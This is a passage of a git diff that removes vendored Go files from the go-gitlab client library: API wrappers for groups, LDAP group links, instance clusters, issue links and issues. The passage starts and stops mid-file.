`json:"marked_for_deletion_on"` - CreatedAt *time.Time `json:"created_at"` -} - -type LDAPGroupLink struct { - CN string `json:"cn"` - GroupAccess AccessLevelValue `json:"group_access"` - Provider string `json:"provider"` -} - -// ListGroupsOptions represents the available ListGroups() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/groups.html#list-project-groups -type ListGroupsOptions struct { - ListOptions - AllAvailable *bool `url:"all_available,omitempty" json:"all_available,omitempty"` - MinAccessLevel *AccessLevelValue `url:"min_access_level,omitempty" json:"min_access_level,omitempty"` - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Owned *bool `url:"owned,omitempty" json:"owned,omitempty"` - Search *string `url:"search,omitempty" json:"search,omitempty"` - SkipGroups []int `url:"skip_groups,omitempty" json:"skip_groups,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` - Statistics *bool `url:"statistics,omitempty" json:"statistics,omitempty"` - TopLevelOnly *bool `url:"top_level_only,omitempty" json:"top_level_only,omitempty"` - WithCustomAttributes *bool `url:"with_custom_attributes,omitempty" json:"with_custom_attributes,omitempty"` -} - -// ListGroups gets a list of groups (as user: my groups, as admin: all groups). -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/groups.html#list-project-groups -func (s *GroupsService) ListGroups(opt *ListGroupsOptions, options ...RequestOptionFunc) ([]*Group, *Response, error) { - req, err := s.client.NewRequest("GET", "groups", opt, options) - if err != nil { - return nil, nil, err - } - - var g []*Group - resp, err := s.client.Do(req, &g) - if err != nil { - return nil, resp, err - } - - return g, resp, err -} - -// GetGroup gets all details of a group. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/groups.html#details-of-a-group -func (s *GroupsService) GetGroup(gid interface{}, options ...RequestOptionFunc) (*Group, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - g := new(Group) - resp, err := s.client.Do(req, g) - if err != nil { - return nil, resp, err - } - - return g, resp, err -} - -// CreateGroupOptions represents the available CreateGroup() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/groups.html#new-group -type CreateGroupOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - Path *string `url:"path,omitempty" json:"path,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - MembershipLock *bool `url:"membership_lock,omitempty" json:"membership_lock,omitempty"` - Visibility *VisibilityValue `url:"visibility,omitempty" json:"visibility,omitempty"` - ShareWithGroupLock *bool `url:"share_with_group_lock,omitempty" json:"share_with_group_lock,omitempty"` - RequireTwoFactorAuth *bool `url:"require_two_factor_authentication,omitempty" json:"require_two_factor_authentication,omitempty"` - TwoFactorGracePeriod *int `url:"two_factor_grace_period,omitempty" json:"two_factor_grace_period,omitempty"` - ProjectCreationLevel *ProjectCreationLevelValue `url:"project_creation_level,omitempty" json:"project_creation_level,omitempty"` - AutoDevopsEnabled *bool `url:"auto_devops_enabled,omitempty" json:"auto_devops_enabled,omitempty"` - SubGroupCreationLevel *SubGroupCreationLevelValue `url:"subgroup_creation_level,omitempty" json:"subgroup_creation_level,omitempty"` - EmailsDisabled *bool `url:"emails_disabled,omitempty" json:"emails_disabled,omitempty"` - MentionsDisabled *bool `url:"mentions_disabled,omitempty" json:"mentions_disabled,omitempty"` - LFSEnabled *bool `url:"lfs_enabled,omitempty" json:"lfs_enabled,omitempty"` - RequestAccessEnabled *bool `url:"request_access_enabled,omitempty" json:"request_access_enabled,omitempty"` - ParentID *int `url:"parent_id,omitempty" json:"parent_id,omitempty"` - SharedRunnersMinutesLimit *int `url:"shared_runners_minutes_limit,omitempty" json:"shared_runners_minutes_limit,omitempty"` - ExtraSharedRunnersMinutesLimit *int `url:"extra_shared_runners_minutes_limit,omitempty" json:"extra_shared_runners_minutes_limit,omitempty"` -} - -// CreateGroup creates a new project group. Available only for users who can -// create groups. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/groups.html#new-group -func (s *GroupsService) CreateGroup(opt *CreateGroupOptions, options ...RequestOptionFunc) (*Group, *Response, error) { - req, err := s.client.NewRequest("POST", "groups", opt, options) - if err != nil { - return nil, nil, err - } - - g := new(Group) - resp, err := s.client.Do(req, g) - if err != nil { - return nil, resp, err - } - - return g, resp, err -} - -// TransferGroup transfers a project to the Group namespace. Available only -// for admin. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/groups.html#transfer-project-to-group -func (s *GroupsService) TransferGroup(gid interface{}, pid interface{}, options ...RequestOptionFunc) (*Group, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/projects/%s", pathEscape(group), pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - g := new(Group) - resp, err := s.client.Do(req, g) - if err != nil { - return nil, resp, err - } - - return g, resp, err -} - -// UpdateGroupOptions represents the set of available options to update a Group; -// as of today these are exactly the same available when creating a new Group. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/groups.html#update-group -type UpdateGroupOptions CreateGroupOptions - -// UpdateGroup updates an existing group; only available to group owners and -// administrators. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/groups.html#update-group -func (s *GroupsService) UpdateGroup(gid interface{}, opt *UpdateGroupOptions, options ...RequestOptionFunc) (*Group, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s", pathEscape(group)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - g := new(Group) - resp, err := s.client.Do(req, g) - if err != nil { - return nil, resp, err - } - - return g, resp, err -} - -// DeleteGroup removes group with all projects inside. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/groups.html#remove-group -func (s *GroupsService) DeleteGroup(gid interface{}, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s", pathEscape(group)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// SearchGroup get all groups that match your string in their name or path. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/groups.html#search-for-group -func (s *GroupsService) SearchGroup(query string, options ...RequestOptionFunc) ([]*Group, *Response, error) { - var q struct { - Search string `url:"search,omitempty" json:"search,omitempty"` - } - q.Search = query - - req, err := s.client.NewRequest("GET", "groups", &q, options) - if err != nil { - return nil, nil, err - } - - var g []*Group - resp, err := s.client.Do(req, &g) - if err != nil { - return nil, resp, err - } - - return g, resp, err -} - -// ListGroupProjectsOptions represents the available ListGroupProjects() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/groups.html#list-a-group-39-s-projects -type ListGroupProjectsOptions struct { - ListOptions - Archived *bool `url:"archived,omitempty" json:"archived,omitempty"` - Visibility *VisibilityValue `url:"visibility,omitempty" json:"visibility,omitempty"` - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` - Search *string `url:"search,omitempty" json:"search,omitempty"` - Simple *bool `url:"simple,omitempty" json:"simple,omitempty"` - Owned *bool `url:"owned,omitempty" json:"owned,omitempty"` - Starred *bool `url:"starred,omitempty" json:"starred,omitempty"` - WithIssuesEnabled *bool `url:"with_issues_enabled,omitempty" json:"with_issues_enabled,omitempty"` - WithMergeRequestsEnabled *bool `url:"with_merge_requests_enabled,omitempty" json:"with_merge_requests_enabled,omitempty"` - WithShared *bool `url:"with_shared,omitempty" json:"with_shared,omitempty"` - IncludeSubgroups *bool `url:"include_subgroups,omitempty" json:"include_subgroups,omitempty"` - WithCustomAttributes *bool `url:"with_custom_attributes,omitempty" json:"with_custom_attributes,omitempty"` -} - -// ListGroupProjects get a list of group projects -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/groups.html#list-a-group-39-s-projects -func (s *GroupsService) ListGroupProjects(gid interface{}, opt *ListGroupProjectsOptions, options ...RequestOptionFunc) ([]*Project, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/projects", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var p []*Project - resp, err := s.client.Do(req, &p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// ListSubgroupsOptions represents the available ListSubgroupsOptions() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/groups.html#list-a-groups-s-subgroups -type ListSubgroupsOptions ListGroupsOptions - -// ListSubgroups gets a list of subgroups for a given project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/groups.html#list-a-groups-s-subgroups -func (s *GroupsService) ListSubgroups(gid interface{}, opt *ListSubgroupsOptions, options ...RequestOptionFunc) ([]*Group, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/subgroups", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var g []*Group - resp, err := s.client.Do(req, &g) - if err != nil { - return nil, resp, err - } - - return g, resp, err -} - -// ListGroupLDAPLinks lists the group's LDAP links. Available only for users who -// can edit groups. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/groups.html#list-ldap-group-links-starter -func (s *GroupsService) ListGroupLDAPLinks(gid interface{}, options ...RequestOptionFunc) ([]*LDAPGroupLink, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/ldap_group_links", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var gl []*LDAPGroupLink - resp, err := s.client.Do(req, &gl) - if err != nil { - return nil, resp, err - } - - return gl, resp, nil -} - -// AddGroupLDAPLinkOptions represents the available AddGroupLDAPLink() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/groups.html#add-ldap-group-link-starter -type AddGroupLDAPLinkOptions struct { - CN *string `url:"cn,omitempty" json:"cn,omitempty"` - GroupAccess *int `url:"group_access,omitempty" json:"group_access,omitempty"` - Provider *string `url:"provider,omitempty" json:"provider,ommitempty"` -} - -// AddGroupLDAPLink creates a new group LDAP link. Available only for users who -// can edit groups. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/groups.html#add-ldap-group-link-starter -func (s *GroupsService) AddGroupLDAPLink(gid interface{}, opt *AddGroupLDAPLinkOptions, options ...RequestOptionFunc) (*LDAPGroupLink, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/ldap_group_links", pathEscape(group)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - gl := new(LDAPGroupLink) - resp, err := s.client.Do(req, gl) - if err != nil { - return nil, resp, err - } - - return gl, resp, err -} - -// DeleteGroupLDAPLink deletes a group LDAP link. Available only for users who -// can edit groups. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/groups.html#delete-ldap-group-link-starter -func (s *GroupsService) DeleteGroupLDAPLink(gid interface{}, cn string, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s/ldap_group_links/%s", pathEscape(group), pathEscape(cn)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// DeleteGroupLDAPLinkForProvider deletes a group LDAP link from a specific -// provider. Available only for users who can edit groups. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/groups.html#delete-ldap-group-link-starter -func (s *GroupsService) DeleteGroupLDAPLinkForProvider(gid interface{}, provider, cn string, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, err - } - u := fmt.Sprintf( - "groups/%s/ldap_group_links/%s/%s", - pathEscape(group), - pathEscape(provider), - pathEscape(cn), - ) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/instance_clusters.go b/vendor/github.com/xanzy/go-gitlab/instance_clusters.go deleted file mode 100644 index ba46af2869..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/instance_clusters.go +++ /dev/null @@ -1,151 +0,0 @@ -// -// Copyright 2020, Serena Fang -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// InstanceClustersService handles communication with the -// instance clusters related methods of the GitLab API. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/instance_clusters.html -type InstanceClustersService struct { - client *Client -} - -// InstanceCluster represents a GitLab Instance Cluster. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/instance_clusters.html -type InstanceCluster struct { - ID int `json:"id"` - Name string `json:"name"` - Domain string `json:"domain"` - CreatedAt *time.Time `json:"created_at"` - ProviderType string `json:"provider_type"` - PlatformType string `json:"platform_type"` - EnvironmentScope string `json:"environment_scope"` - ClusterType string `json:"cluster_type"` - User *User `json:"user"` - PlatformKubernetes *PlatformKubernetes `json:"platform_kubernetes"` - ManagementProject *ManagementProject `json:"management_project"` -} - -func (v InstanceCluster) String() string { - return Stringify(v) -} - -// ListClusters gets a list of all instance clusters. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/instance_clusters.html#list-instance-clusters -func (s *InstanceClustersService) ListClusters(options ...RequestOptionFunc) ([]*InstanceCluster, *Response, error) { - u := fmt.Sprintf("admin/clusters") - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var ics []*InstanceCluster - resp, err := s.client.Do(req, &ics) - if err != nil { - return nil, resp, err - } - - return ics, resp, err -} - -// GetCluster gets an instance cluster. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/instance_clusters.html#get-a-single-instance-cluster -func (s *InstanceClustersService) GetCluster(cluster int, options ...RequestOptionFunc) (*InstanceCluster, *Response, error) { - u := fmt.Sprintf("admin/clusters/%d", cluster) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - ic := new(InstanceCluster) - resp, err := s.client.Do(req, &ic) - if err != nil { - return nil, resp, err - } - - return ic, resp, err -} - -// AddCluster adds an existing cluster to the instance. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/instance_clusters.html#add-existing-instance-cluster -func (s *InstanceClustersService) AddCluster(opt *AddClusterOptions, options ...RequestOptionFunc) (*InstanceCluster, *Response, error) { - u := fmt.Sprintf("admin/clusters/add") - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - ic := new(InstanceCluster) - resp, err := s.client.Do(req, ic) - if err != nil { - return nil, resp, err - } - - return ic, resp, err -} - -// EditCluster updates an existing instance cluster. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/instance_clusters.html#edit-instance-cluster -func (s *InstanceClustersService) EditCluster(cluster int, opt *EditClusterOptions, options ...RequestOptionFunc) (*InstanceCluster, *Response, error) { - u := fmt.Sprintf("admin/clusters/%d", cluster) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - ic := new(InstanceCluster) - resp, err := s.client.Do(req, ic) - if err != nil { - return nil, resp, err - } - - return ic, resp, err -} - -// DeleteCluster deletes an existing instance cluster. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/instance_clusters.html#delete-instance-cluster -func (s *InstanceClustersService) DeleteCluster(cluster int, options ...RequestOptionFunc) (*Response, error) { - u := fmt.Sprintf("admin/clusters/%d", cluster) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/issue_links.go b/vendor/github.com/xanzy/go-gitlab/issue_links.go deleted file mode 100644 index 495793764a..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/issue_links.go +++ /dev/null @@ -1,127 +0,0 @@ -// -// Copyright 2017, Arkbriar -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" -) - -// IssueLinksService handles communication with the issue relations related methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/issue_links.html -type IssueLinksService struct { - client *Client -} - -// IssueLink represents a two-way relation between two issues. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/issue_links.html -type IssueLink struct { - SourceIssue *Issue `json:"source_issue"` - TargetIssue *Issue `json:"target_issue"` -} - -// ListIssueRelations gets a list of related issues of a given issue, -// sorted by the relationship creation datetime (ascending). -// -// Issues will be filtered according to the user authorizations. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/issue_links.html#list-issue-relations -func (s *IssueLinksService) ListIssueRelations(pid interface{}, issueIID int, options ...RequestOptionFunc) ([]*Issue, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/links", pathEscape(project), issueIID) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var is []*Issue - resp, err := s.client.Do(req, &is) - if err != nil { - return nil, resp, err - } - - return is, resp, err -} - -// CreateIssueLinkOptions represents the available CreateIssueLink() options. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/issue_links.html -type CreateIssueLinkOptions struct { - TargetProjectID *string `json:"target_project_id"` - TargetIssueIID *string `json:"target_issue_iid"` -} - -// CreateIssueLink creates a two-way relation between two issues. -// User must be allowed to update both issues in order to succeed. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/issue_links.html#create-an-issue-link -func (s *IssueLinksService) CreateIssueLink(pid interface{}, issueIID int, opt *CreateIssueLinkOptions, options ...RequestOptionFunc) (*IssueLink, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/links", pathEscape(project), issueIID) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - i := new(IssueLink) - resp, err := s.client.Do(req, &i) - if err != nil { - return nil, resp, err - } - - return i, resp, err -} - -// DeleteIssueLink deletes an issue link, thus removes the two-way relationship. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/issue_links.html#delete-an-issue-link -func (s *IssueLinksService) DeleteIssueLink(pid interface{}, issueIID, issueLinkID int, options ...RequestOptionFunc) (*IssueLink, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/links/%d", - pathEscape(project), - issueIID, - issueLinkID) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, nil, err - } - - i := new(IssueLink) - resp, err := s.client.Do(req, &i) - if err != nil { - return nil, resp, err - } - - return i, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/issues.go b/vendor/github.com/xanzy/go-gitlab/issues.go deleted file mode 100644 index 220aa774c9..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/issues.go +++ /dev/null @@ -1,647 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "encoding/json" - "fmt" - "net/url" - "strings" - "time" -) - -// IssuesService handles communication with the issue related methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/issues.html -type IssuesService struct { - client *Client - timeStats *timeStatsService -} - -// IssueAuthor represents a author of the issue. -type IssueAuthor struct { - ID int `json:"id"` - State string `json:"state"` - WebURL string `json:"web_url"` - Name string `json:"name"` - AvatarURL string `json:"avatar_url"` - Username string `json:"username"` -} - -// IssueAssignee represents a assignee of the issue. -type IssueAssignee struct { - ID int `json:"id"` - State string `json:"state"` - WebURL string `json:"web_url"` - Name string `json:"name"` - AvatarURL string `json:"avatar_url"` - Username string `json:"username"` -} - -// IssueReferences represents references of the issue. -type IssueReferences struct { - Short string `json:"short"` - Relative string `json:"relative"` - Full string `json:"full"` -} - -// IssueCloser represents a closer of the issue. -type IssueCloser struct { - ID int `json:"id"` - State string `json:"state"` - WebURL string `json:"web_url"` - Name string `json:"name"` - AvatarURL string `json:"avatar_url"` - Username string `json:"username"` -} - -// IssueLinks represents links of the issue. -type IssueLinks struct { - Self string `json:"self"` - Notes string `json:"notes"` - AwardEmoji string `json:"award_emoji"` - Project string `json:"project"` -} - -// Issue represents a GitLab issue. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/issues.html -type Issue struct { - ID int `json:"id"` - IID int `json:"iid"` - State string `json:"state"` - Description string `json:"description"` - Author *IssueAuthor `json:"author"` - Milestone *Milestone `json:"milestone"` - ProjectID int `json:"project_id"` - Assignees []*IssueAssignee `json:"assignees"` - Assignee *IssueAssignee `json:"assignee"` - UpdatedAt *time.Time `json:"updated_at"` - ClosedAt *time.Time `json:"closed_at"` - ClosedBy *IssueCloser `json:"closed_by"` - Title string `json:"title"` - CreatedAt *time.Time `json:"created_at"` - Labels Labels `json:"labels"` - LabelDetails []*LabelDetails `json:"label_details"` - Upvotes int `json:"upvotes"` - Downvotes int `json:"downvotes"` - DueDate *ISOTime `json:"due_date"` - WebURL string `json:"web_url"` - References *IssueReferences `json:"references"` - TimeStats *TimeStats `json:"time_stats"` - Confidential bool `json:"confidential"` - Weight int `json:"weight"` - DiscussionLocked bool `json:"discussion_locked"` - Subscribed bool `json:"subscribed"` - UserNotesCount int `json:"user_notes_count"` - Links *IssueLinks `json:"_links"` - IssueLinkID int `json:"issue_link_id"` - MergeRequestCount int `json:"merge_requests_count"` - EpicIssueID int `json:"epic_issue_id"` - TaskCompletionStatus struct { - Count int `json:"count"` - CompletedCount int `json:"completed_count"` - } `json:"task_completion_status"` -} - -func (i Issue) String() string { - return Stringify(i) -} - -func (i *Issue) UnmarshalJSON(data []byte) error { - type alias Issue - - raw := make(map[string]interface{}) - err := json.Unmarshal(data, &raw) - if err != nil { - return err - } - - labelDetails, ok := raw["labels"].([]interface{}) - if ok && len(labelDetails) > 0 { - // We only want to change anything if we got label details. - if _, ok := labelDetails[0].(map[string]interface{}); !ok { - return json.Unmarshal(data, (*alias)(i)) - } - - labels := make([]interface{}, len(labelDetails)) - for i, details := range labelDetails { - labels[i] = details.(map[string]interface{})["name"] - } - - // Set the correct values - raw["labels"] = labels - raw["label_details"] = labelDetails - - data, err = json.Marshal(raw) - if err != nil { - return err - } - } - - return json.Unmarshal(data, (*alias)(i)) -} - -// Labels is a custom type with specific marshaling characteristics. -type Labels []string - -// MarshalJSON implements the json.Marshaler interface. -func (l *Labels) MarshalJSON() ([]byte, error) { - return json.Marshal(strings.Join(*l, ",")) -} - -// EncodeValues implements the query.EncodeValues interface -func (l *Labels) EncodeValues(key string, v *url.Values) error { - v.Set(key, strings.Join(*l, ",")) - return nil -} - -// LabelDetails represents detailed label information. -type LabelDetails struct { - ID int `json:"id"` - Name string `json:"name"` - Color string `json:"color"` - Description string `json:"description"` - DescriptionHTML string `json:"description_html"` - TextColor string `json:"text_color"` -} - -// ListIssuesOptions represents the available ListIssues() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/issues.html#list-issues -type ListIssuesOptions struct { - ListOptions - State *string `url:"state,omitempty" json:"state,omitempty"` - Labels Labels `url:"labels,comma,omitempty" json:"labels,omitempty"` - WithLabelDetails *bool `url:"with_labels_details,omitempty" json:"with_labels_details,omitempty"` - Milestone *string `url:"milestone,omitempty" json:"milestone,omitempty"` - Scope *string `url:"scope,omitempty" json:"scope,omitempty"` - AuthorID *int `url:"author_id,omitempty" json:"author_id,omitempty"` - AssigneeID *int `url:"assignee_id,omitempty" json:"assignee_id,omitempty"` - MyReactionEmoji *string `url:"my_reaction_emoji,omitempty" json:"my_reaction_emoji,omitempty"` - IIDs []int `url:"iids[],omitempty" json:"iids,omitempty"` - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` - Search *string `url:"search,omitempty" json:"search,omitempty"` - CreatedAfter *time.Time `url:"created_after,omitempty" json:"created_after,omitempty"` - CreatedBefore *time.Time `url:"created_before,omitempty" json:"created_before,omitempty"` - UpdatedAfter *time.Time `url:"updated_after,omitempty" json:"updated_after,omitempty"` - UpdatedBefore *time.Time `url:"updated_before,omitempty" json:"updated_before,omitempty"` - Confidential *bool `url:"confidential,omitempty" json:"confidential,omitempty"` -} - -// ListIssues gets all issues created by authenticated user. This function -// takes pagination parameters page and per_page to restrict the list of issues. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/issues.html#list-issues -func (s *IssuesService) ListIssues(opt *ListIssuesOptions, options ...RequestOptionFunc) ([]*Issue, *Response, error) { - req, err := s.client.NewRequest("GET", "issues", opt, options) - if err != nil { - return nil, nil, err - } - - var i []*Issue - resp, err := s.client.Do(req, &i) - if err != nil { - return nil, resp, err - } - - return i, resp, err -} - -// ListGroupIssuesOptions represents the available ListGroupIssues() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/issues.html#list-group-issues -type ListGroupIssuesOptions struct { - ListOptions - State *string `url:"state,omitempty" json:"state,omitempty"` - Labels Labels `url:"labels,comma,omitempty" json:"labels,omitempty"` - WithLabelDetails *bool `url:"with_labels_details,omitempty" json:"with_labels_details,omitempty"` - IIDs []int `url:"iids[],omitempty" json:"iids,omitempty"` - Milestone *string `url:"milestone,omitempty" json:"milestone,omitempty"` - Scope *string `url:"scope,omitempty" json:"scope,omitempty"` - AuthorID *int `url:"author_id,omitempty" json:"author_id,omitempty"` - AuthorUsername *string `url:"author_username,omitempty" json:"author_username,omitempty"` - AssigneeID *int `url:"assignee_id,omitempty" json:"assignee_id,omitempty"` - AssigneeUsername *string `url:"assignee_username,omitempty" json:"assignee_username,omitempty"` - MyReactionEmoji *string `url:"my_reaction_emoji,omitempty" json:"my_reaction_emoji,omitempty"` - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` - Search *string `url:"search,omitempty" json:"search,omitempty"` - In *string `url:"in,omitempty" json:"in,omitempty"` - CreatedAfter *time.Time `url:"created_after,omitempty" json:"created_after,omitempty"` - CreatedBefore *time.Time `url:"created_before,omitempty" json:"created_before,omitempty"` - UpdatedAfter *time.Time `url:"updated_after,omitempty" json:"updated_after,omitempty"` - UpdatedBefore *time.Time `url:"updated_before,omitempty" json:"updated_before,omitempty"` -} - -// ListGroupIssues gets a list of group issues. This function accepts -// pagination parameters page and per_page to return the list of group issues. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/issues.html#list-group-issues -func (s *IssuesService) ListGroupIssues(pid interface{}, opt *ListGroupIssuesOptions, options ...RequestOptionFunc) ([]*Issue, *Response, error) { - group, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/issues", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var i []*Issue - resp, err := s.client.Do(req, &i) - if err != nil { - return nil, resp, err - } - - return i, resp, err -} - -// ListProjectIssuesOptions represents the available ListProjectIssues() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/issues.html#list-project-issues -type ListProjectIssuesOptions struct { - ListOptions - IIDs []int `url:"iids[],omitempty" json:"iids,omitempty"` - State *string `url:"state,omitempty" json:"state,omitempty"` - Labels Labels `url:"labels,comma,omitempty" json:"labels,omitempty"` - WithLabelDetails *bool `url:"with_labels_details,omitempty" json:"with_labels_details,omitempty"` - Milestone *string `url:"milestone,omitempty" json:"milestone,omitempty"` - Scope *string `url:"scope,omitempty" json:"scope,omitempty"` - AuthorID *int `url:"author_id,omitempty" json:"author_id,omitempty"` - AssigneeID *int `url:"assignee_id,omitempty" json:"assignee_id,omitempty"` - MyReactionEmoji *string `url:"my_reaction_emoji,omitempty" json:"my_reaction_emoji,omitempty"` - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` - Search *string `url:"search,omitempty" json:"search,omitempty"` - In *string `url:"in,omitempty" json:"in,omitempty"` - CreatedAfter *time.Time `url:"created_after,omitempty" json:"created_after,omitempty"` - CreatedBefore *time.Time `url:"created_before,omitempty" json:"created_before,omitempty"` - UpdatedAfter *time.Time `url:"updated_after,omitempty" json:"updated_after,omitempty"` - UpdatedBefore *time.Time `url:"updated_before,omitempty" json:"updated_before,omitempty"` - Confidential *bool `url:"confidential,omitempty" json:"confidential,omitempty"` -} - -// ListProjectIssues gets a list of 